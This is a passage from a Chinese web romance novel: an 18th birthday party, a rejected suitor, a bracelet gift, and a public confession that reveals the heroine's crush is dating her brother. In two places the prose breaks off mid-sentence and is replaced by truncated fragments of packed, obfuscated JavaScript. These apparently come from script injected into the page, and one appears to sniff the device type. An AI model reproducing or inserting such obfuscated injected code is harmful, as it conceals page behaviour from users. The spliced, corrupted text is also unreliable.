周悉丞也接过礼物,很赏脸地点了点头。 “你们很出名,大部分人都知道的。”程卿说。 周悉许尴尬地笑了笑。 她知道自己的出名和周悉丞的出名,差别挺大的。急忙转移话题,“你自己来的吗?还是和程又一一起?” “你也叫表哥了吗?” “不是我叫的人,柳宜菲她们叫的,我就随便问问。”周悉许解释说。 “这样啊,如果叫他,他应该会来。”程卿余光向不远处瞟了瞟,视线顿了顿,然后笑着说,“他现在挺闲的,天天想方设法给自己找点事干。” 原来如此。 难怪程又一会给自己补课,看来是真闲出屁了。 “喏,他在那边。”程卿伸手指着斜前方。 周悉许顺着她手指的方向看过去,是程又一和篓恩。篓恩手里拿着个特别小的盒子,程又一空着手…… 周悉许心里短暂的不爽了几秒。 情绪刚要涌上来,就被强行压下去了。她暗示自己不要做矫情的人,也不要欠人家的,物质上她不缺。所以,才不稀罕程又一的礼物。 时针指向18时。 柳宜菲起身担起主持人的角色,她清了清嗓子,客套地说了几句场面话作为开场白。 随后,朱缇推着蛋糕唱着生日歌走到周悉许面前。她笑得端庄得体,一本正经地说,“生日快乐,周悉许。” “谢谢。”周悉许也一本正经地回。 两人认识十几年,从来都没这么正经过…… 但朱缇的正经持续不到两秒。 下一秒,就换了表情,“恭喜,终于能做点成人该做的事了。” 果然是朱缇,从不让人失望…… “是啊,活驴。”篓恩跟着起哄,“做点成人该做的事。” 周悉许没鸟他。 大喜的日子,她不想大开杀戒。 篓恩凑上前,递过来一个扁扁的盒子,“生日快乐啊。” “谢谢。”周悉许接过盒子,余光扫了一眼。盒子还没手掌大,轻飘飘的,拿在手里没有重量,感觉像是空的。 “送的啥啊?小盒这么迷你。”朱缇问。 “你猜?”篓恩故作神秘。 朱缇盯着盒子想了一会儿,“耳饰?” 篓恩伸出一根手指左右晃了晃,“NO,NO,NO,那么没新意的礼物,小爷送不出手。” “那是胸针?”程卿问。 “老套,小爷送的绝对是全场最让人眼前一亮的。” “是书签?”柳宜菲问。 篓恩被逗乐,“活驴是能用那玩意的人吗?” “说的好像你是能用那玩意的人似的,你个沙雕都不知道那是个什么吧。”周悉许瞥了他一眼,没什么好气。因为她隐约有种感觉,这货没憋什么好屁。 朱缇看了看盒子,又看了看篓恩的表情,嘴角慢慢勾出一丝坏笑,“我有点好奇这是什么了。” “绝对是surprise。”篓恩笑得很贱,“快拆开看看。” 周悉许没动。 见状,朱缇从她手里抢过盒子,“我替你拆开看看。” 还没来得及阻止,盒子被拆开了。 里面的东西让人面红耳赤。 竟然...... 是一盒小雨伞。 还是巧克力味的。 “变态。”周悉许破口大骂。 “不好意思什么,都成年了,早晚用得上。”篓恩贱兮兮地说。 朱缇憋着笑,“是啊,没啥不好意思的,挺正常的成人礼物。” “滚一边去。”周悉许瞪了她一眼。 这俩人最能搞事,也最能胡扯,绝对是搅屎棍。有他俩在,准消停不了。 “要不这样吧,咱赶早不赶晚,今天直接用了,在场的选一个人,咋样?”篓恩继续嘴贱。 “咋样个屁,别特么犯贱了。” 篓恩把周悉许的话当作耳旁风,他环顾四周,“谁成年了?配合一下活驴。” 周围的人也跟着起哄。 篓恩的视线最终落在陆竞身上,“你成年了吧?” 陆竞脸一红。 有些不好意思地看了周悉许一眼,缓慢点了下头。 篓恩双手一拍,“这不正好嘛,择日不如撞日,赶紧的吧。” 周悉许:“……” 在场的都知道陆竞和周悉许是青梅竹马,一个个跟着瞎起哄。 “别特么嘴贱了。”程又一冷着脸踢了篓恩一脚。 力度不小。 篓恩嚎叫一声。“程又一,你特么要死啊,疼死老子了,你是不是怪我没提你,活驴,程又一也成年了,一起考虑下吧。” 他语气带着安抚的意味,有种被迫推销的感觉,显得程又一像是在争风吃醋。 场面一度有些尴尬,刚才还在起哄的人都噤了声。 “你别逼我当着这么多人的面提你小时候的事。”周悉许威胁道。 这招果然管用。篓恩立刻闭嘴了,双手合十做求饶状。 闹完这一出,气氛反而更热了。一直折腾到很晚,派对才终于散了。 周悉许正准备回家,陆竞叫住了她,“悉许,生日快乐。”他手里提着个高奢品牌的购物袋,“抱歉,最近太忙了,礼物有点草率。” “谢谢。”周悉许接过购物袋,“周征说你已经开始接手公司业务了。” “不算接手,只是学习阶段,先了解北美的市场。” “那你考完试还去美国?” 陆竞点头。 “什么时候回来?”周悉许问。 陆竞没立刻回,犹豫了一会儿才说,“我打算去美国读书,刚好方便接手加州的分公司。” “嗯,挺好的。” “和我一起去美国吧。”陆竞顿了顿,说:“马上毕业了,我们订婚的事快提上日程了,我也想再问你一次,可以和我在一起吗?” 陆竞的再次表白,周悉许并不意外。她早有准备,就算陆竞不问,她也打算说清楚。 “其实,我早就想和你面对面谈谈这件事,总觉得在电话里说不合适,现在你回来了,刚好。” “果然还是不行。”陆竞已经猜到了答案,无力地露出一丝苦笑。 “抱歉,我真的没办法,是我的问题。”周悉许一脸愧疚。 没办法喜欢上陆竞,她自责过很多次,但感情的事,强求不来。 “你不用觉得抱歉,是我让你为难了。”陆竞笑得很轻,嘴角的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周悉许心里很清楚,陆竞这么说是为了不让她愧疚。但他越是这样,周悉许越是自责。 陆竞不疾不徐地说着自己的规划。说他想去的大学,他感兴趣的专业,还有他想要的未来。他表现得云淡风轻,但微微泛红的眼眶,逃不过周悉许的眼睛。 她鼻子一酸,一度哽咽。 陆竞伸手想揉揉她的头,手停在半空中,又缓缓收回。 他故作轻松说,“别这么低气压,我没什么啊,成年男性的世界不是只有感情,事业才是重心。” “嗯”周悉许点点头,调整好情绪,“你一定会成功的。” “别光顾着说我了,你呢?有什么打算?” “我想去东港大学。” 陆竞眼里闪过一丝意外,然后笑了笑,“挺好,这段时间没见,你变化挺大的,我没想到你会有想去的大学。” 周悉许浑浑噩噩混了很多年,没什么正事,对读书更是毫不关心。突然了有目标,让人挺意外的。 “也是最近才有的方向。”她说。 “看来你很有把握了。” “嗯,成绩提高不少。” 默了好一会儿,陆竞又问,“你改变这么大,是因为什么人吗?” 周悉许缓慢点了点头,“算是。” “是因为程又一?” “他是帮了不少忙。”周悉许如实说。 陆竞自嘲一笑,“还真是他,他大学在申泸?” 周悉许摇摇头,“没问过,可能也去美国。” “那你还去东港?” “我去东港和他没关系。”周悉许语气很平淡,想了想,又补了句,“他只是帮我补习功课,没别的。” “那?”陆竞眼里闪现一丝光,“是因为别人?” 周悉许垂下眼。“嗯。” “是喜欢的人?” 她抿了抿唇,点头承认。 陆竞眼里的光一点点暗下去,嘴角动了动,“能说说是谁吗?” 周悉许半天没说话,手指无意识地攥着衣角。陆竞看出了她的窘迫。 “不想说也没事,我就是好奇,在你身边这么多年,都不知道有这么个人。” “是程卿。”周悉许说,声音不大,却很清晰。 陆竞明显一愣。“是程又一他表妹?” “嗯。” “你喜欢的人是程又一他表妹?”陆竞再次确认,像是没听清,又像是不敢信。 周悉许默不作声地点点头,始终没抬眼。 陆竞也沉默了。 过了好一会儿,才开口,“有目标挺好的,生活比较有奔头。是什么人也不重要,只要你喜欢。” “我知道你很难理解,最开始我也是,但我还是想做自己想做的。” 陆竞脸上还是温和的笑,声音里多了几分释怀,“没什么是难理解的,人生苦短,我也希望你做自己,活得快乐。” 之后,两人又闲聊了几句,陆竞便先离开了。他坐在车里看车窗外渐渐缩小的身形,眼眶又红了,也没了刚才的云淡风轻。他无声地望着那个身影消失得无影无踪,和自己这场漫长的单恋做最后的告别。 那个喜欢了很多年的人,彻底从他的世界离开了。 周悉许在原地对着扬长而去的车挥挥手。 “再见,陆竞。” “你一定会遇到更好的人。” 37. 标记过了,是我的 “人都走挺远了,别看了。” 身后响起一个声音,懒散,还带着几分调侃。不用回头都知道是谁,除了程又一没别人。 周悉许伸手拂去眼角的湿润,平静数秒才转身。 “和你没关系。” 程又一走过去,吊儿郎当地笑了笑,“那你打算在这继续罚站多久?”他歪着头看她,视线落在她微红的眼尾上,语气有点欠揍,“人在的时候不挺能装的吗,怎么人一走,自己倒偷偷抹上眼泪了?” 周悉许别过头,吸了吸鼻子。“有没有点眼力见?没看见人正难堪呢?” 程又一双手插回口袋,嘴角勾起一个要笑不笑的弧度,“又不是被甩,你也没什么好难看的?” 周悉许翻了个白眼,觉得自己是在对牛弹琴。“就不该和你废话。” “别哭丧个脸了,人陆竞都没怎么样,你替人家难过什么?摆脱你对人家来说是好事。” “……” 周悉许没反驳。 程又一这屁话虽然说的不中听,但也没错。客观来说,陆竞的前途一片光明,她确实是人家唯一的坎儿。摆脱她这个豪门编外人员,陆竞的未来会更广阔。 “我说的是不是挺有道理?” “嗯。”周悉许又狠狠剜了他一眼,“你说的没错。” “那开心点。” 她别过脸,声音闷闷的,“我很开心。” 程又一没和她掰扯,“走吧,送你回家。” 他拉着周悉许上了旁边停着的飞驰。 坐进车里,周悉许才反应过来,这不是自己的车。 但这车和她的是同款同色。 “你这车和我的是同款?” “这么巧。” 程又一很平静,丝毫不惊讶。 “恩,是挺巧的,颜色竟然都一样。”周悉许说。 程又一没接话,他从身后拿出个礼盒,“18岁生日快乐。” “谢谢。” 周悉许接过来,放在腿上。 “不拆开看看?”程又一问。 周悉许闲着无聊,便拆开外包装。 里面也是一个高奢珠宝品牌的盒子,和陆竞送的不是一个品牌。 打开盒子,是一条花朵样式的砖石手链。 周悉许认得这个系列。 仲夏夜之梦。 价值七位数。 程又一很有钱,这个价格对他来说不算什么,但普通同学过生日,不至于送这么一件礼物。 “喜欢吗?” “有点贵,没必要这么破费。”周悉许客套地说。 “你随手甩给陌生人辆车也没便宜多少。”程又一低笑,“何况大家是同学。” “……” 见周悉许不吭声,程又一又说,“你帮了我个大忙,算是答谢礼。” “什么忙?” 周悉许满脸疑惑。 “秘密。” 既然人家不说,周悉许也没继续纠结。 她拿起手链看了看,不经意间撇到锁扣处,上面有三个字母。 ONE 字很小,很精致。 但这个品牌,这个系列不会有这串字母。 周悉许心直口快,“不是假货吧?” 程又一微微皱眉,似乎是在尽力理解周悉许说的话。 他脑子里没有假货这个概念。 而后,他哭笑不得。 “我还不至于。” “那这儿怎么有个ONE?”周悉许问。 “你猜。”程又一直勾勾盯着她。 “假货。” “……不对。”程又一说。 周悉许想都没想,便说,“猜不到。” 程又一的指尖在膝盖上轻敲了两下,缓慢而有节奏。 “开过光的,逢烤必过。” “真的?” 周悉许半信半疑。 她没想到程又一会信玄学。 “戴上对你有好处。”程又一说。 这东西有没有用是未知,但对于周悉许而言,宁可信其有不可信其无。 她左手捏着链扣,右手腕别扭地僵在半空,指尖因反拧微微颤抖,金属扣在腕骨上打滑,反复了两三次都没扣上。 “我帮你。” 程又一把手伸到周悉许面前。 周悉许想了想,把手链放在他手上,又伸过去自己的右手。 程又一低着头,视线聚焦在细小的锁扣上,他的手指碰触到周悉许的手腕。 皮肤相触,一个温热,一个微凉。 周悉许下意识往回缩了下手。 “别动。” 程又一的声音很低,像耳语,又像命令。 周悉许的手僵在原位。 她紧张地控制着呼吸,生怕对方察觉到自己气息紊乱。 “咔哒。” 一声轻响,锁扣扣上了。 程又一松手。 周悉许的压抑着的呼吸也顺畅了。 “好了。”程又一说。 周悉许不自然地“恩”了一声,随后看向车窗外。 一路上,两人都没再说话。 晚上。 周悉许躺在床上,思绪开始不受控,满脑子都是程又一帮她带手链时的神情。 他的眼,他的手,还有他的体温。 周悉许觉得自己大概是疯了。 她晃晃头,拿起手机想分分心。 一条消息弹了出来,来自你知我知论坛。 是诱尔更新的动态。 【标记过了,是我的】 周悉许打开和对方的私信,编辑了一条消息: 「你成功了?」 二十分钟后,诱尔回: 「没」 周悉许:「那你那个动态是?快了的意思?她喜欢你了?」 五分钟后,诱尔回: 「她没看清自己内心」 周悉许:「那你和她表白?」 一分钟后,诱尔回: 「时机未到」 接下来的几天像开了倍速,一闪即逝。 很快就到了考试这天。 周悉许状态不错,她的睡眠充足,心态也放的很平。 卷子发下来后,周悉许快速扫了一遍,很多题都是之前程又一带自己做过的,她很有把握。 连续几科考下来都和模拟时差不多,没有特别吃力,该得分应该都拿得到,不会的题她也不去纠结。 总的来说,算是正常发挥。 虽然不能和那些学霸比,但能够达到周悉许自己的目标。 最后一科考完走出考场,周悉许长长呼出口气。 这种如释重负的感觉让人很踏实。 托程又一和程卿的福,周悉许体验了一次普通高中生的生活,整个学生生涯算是完整了。 终于,和高中时代彻底说再见了。 高考结束的第二天,周悉许准备和程卿告白。 朱缇神神叨叨地看了阴阳历。 当天宜嫁娶。 柳宜菲帮忙划策了个盛大的告白仪式,场景布置的很浪漫,足以满足大部分少女心。 淡粉色的玫瑰花铺成了一整片花海,上方是花束编制成的巨型爱心,直升飞机在空中盘旋撒着漫天的花瓣雨。 可谓是声势浩大。 周悉许忐忑地等着程卿的到来。 “我靠,这是什么情况。” “周悉许要告白的人是程卿?快掐我一下,我没看错吧。” “是程卿,真是离了个大谱。” 围观的同学从三三两两到聚成厚厚的人墙,议论声像潮水般涌来。 周悉许深深吸了一口气。 这个局面她就预料到了,也做了充足的心理准备。 人言而已,她无惧。 十分钟后。 现场的骚动忽然平息下来,人群中自动分开一条路。 路的尽头是程卿。 她的裙摆被风轻轻吹动,额前的碎发遮挡了一边脸颊,她手里拿着一本厚厚的《局外人》。 周悉许的心跳快了一拍。 她看着程卿一步步走近,花瓣落在肩头,又轻轻滑落。 “程卿。”周悉许开口。 程卿走到她面前,“悉许,你这是在搞恶作剧吧,我们是好朋友啊。” 程卿脸上是肉眼可见的不安和局促。 周悉许心里已经猜到了结果。 虽然不尽如人意,不过也在她的意料之中。 但意料之外的是,周悉丞竟然也来了。 他牵起程卿的手,“弄这么大个阵仗帮我告白,费心了。” 周悉许一脸问号。 “你说啥胡话呢,谁帮你了,是我,还有你牵人手干嘛。” 周悉丞被气笑,纠正道,“是你给你嫂子准备的仪式,我知道你怕委屈人家。” “嫂子?” 周悉许过于震惊,脑子慢了半拍,她打量着面前的两人,试图理解周悉丞的话。 “你那个女朋友就是程卿?” 周悉许后知后觉。 她上前拽起周悉丞脖子上吊坠。 这次她看清了。 那两个英文字母是CQ 周悉许石化在原地。 她做梦都没想到半路上出来的祸水不是程又一。 而是周悉丞! “你们在一起多久了?”周悉许又问。 “挺久了。” “呵,你还真是好样的,周悉丞,你故意的吧。” “赶紧回去,少说废话。” 周悉丞压低声音,估么着是不想她继续在这丢脸。 “你不说明白我不回去,你俩怎么就在一起了,我怎么就不知道。” 周悉许执拗地想问出个所以然。 比起被程卿拒绝,周悉丞背后抢人更让她接受不了。 她在周家唯一信任的就是周悉丞,从小到大她把周悉丞当唯一的亲人,然而他却偷偷和自己的心仪对象在一起。 这一刻,背叛感油然而生。 “别闹了,先回去。”周悉丞说。 周围的议论声越来越大,所有人都对这场闹剧很感兴趣。 无论周悉丞是出于救场,还是真的和程卿在一起了,最丢脸的都是周悉许。 眼下的情形很难收场。 “玩够了没?” 旁边忽然响起一个熟悉的声音,音量还不小,在场的人都听得到。 “玩够了就跟我回家,别闹了。” 程又一走到周悉许身边,声音比刚才更大了,语气里带着宠溺,像是在讨好和自己吵架赌气的女朋友。 “你也来凑热闹?”周悉许一脸提防。 程又一俯身,凑近她耳边说,“来帮你解围。” 周悉许懵懵地看着程又一。 “走了。” 程又一轻轻揉了揉周悉许的头,牵着她的手走出了人群。 周悉许看着程又一近在咫尺的背影,心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“只能怪你喜欢的太不明显。” “不明显就不算喜欢?”周悉许立刻反驳,语速很快,带着攻击性。 “那他周悉丞的喜欢,我也没看出来,他俩也就见了那一面,连普通朋友都算不上,别扯什么一见钟情,我可不相信!” 程又一静静听着,眼神深邃难测。 过了几秒,就在周悉许以为他无话可说时,他缓缓开了口。 声音比刚才低沉了,每个字都砸在人心上。 “是你太迟钝。” 程有一的语气不是嘲讽,甚至没有多少情绪,就是在陈述一个客观事实,一个让他自己都无力的结论。 “我迟钝?” “迟钝。” 程又一向前了一步。 离周悉许又近了一步。 周悉许清晰地看到程又一眼里近乎审视的平静,以及掺杂在这平静中,一丝极淡的、几乎难以捕捉的……自嘲。 “跨年那晚人就表现出来了,你没发现而已。”程又一说。 周悉许开始回想那个喧闹的夜晚。 从周悉丞强行去看烟花,到两人见面时微妙的氛围,再到后来一起消失很久…… 记忆的碎片闪过脑海,周悉许捕捉到那些曾经被忽略的细节。 “你也觉得他们在那之前就认识?” “很明显。”程又一肯定道。 原来……一切都有迹可循。 只是周悉许当时的关注点偏移了。 她之前的注意力全在程又一和程卿身上,完全忽视了周悉丞。 周悉许比任何人都了解周悉丞。 他应该是很喜欢,才会有这么多幼稚的举动。 冷静下来,周悉许混乱的思绪开始慢慢沉淀、重组。 她不得不承认,如果抛开自己被隐瞒的愤怒和“被抢”的屈辱感,站在周悉丞的角度来看,一个并不知道妹妹心思的哥哥,遇到好不容易让自己心动的人,顺从本心去靠近、去争取,似乎……也没有错。 周悉许想通了,但还是嘴硬。 “别帮他洗白。” “没帮他,我是在帮你。” “帮我什么?”周悉许不解。 程又一垂眼,沉默数秒。 时间在蝉鸣声中被拉长。 日光正盛,光线落到他凸起的眉骨上,折进深邃的眼窝,光影在他轮廓分明的脸上交错。 周悉许甚至能看清他睫毛投下的细小阴影,和他微微绷紧的下颌线。 然后,他缓缓开口,字句清晰。 “帮你认清内心。” 话音落下的刹那,热风恰好穿过巷口。 拂过周悉许耳畔的发丝,带来细微的痒意。 周悉许怔愣了。 那细微的痒意仿佛又不是来自发丝,而是从心底深处骤然触动的角落蔓延开来的。 程又一的目光依旧沉静。 巷口的风停了。 蝉鸣声又清晰了,一声叠着一声,在灼热的空气里拖着绵长的尾音。 一切看似如同寻常,但似乎又已然不同。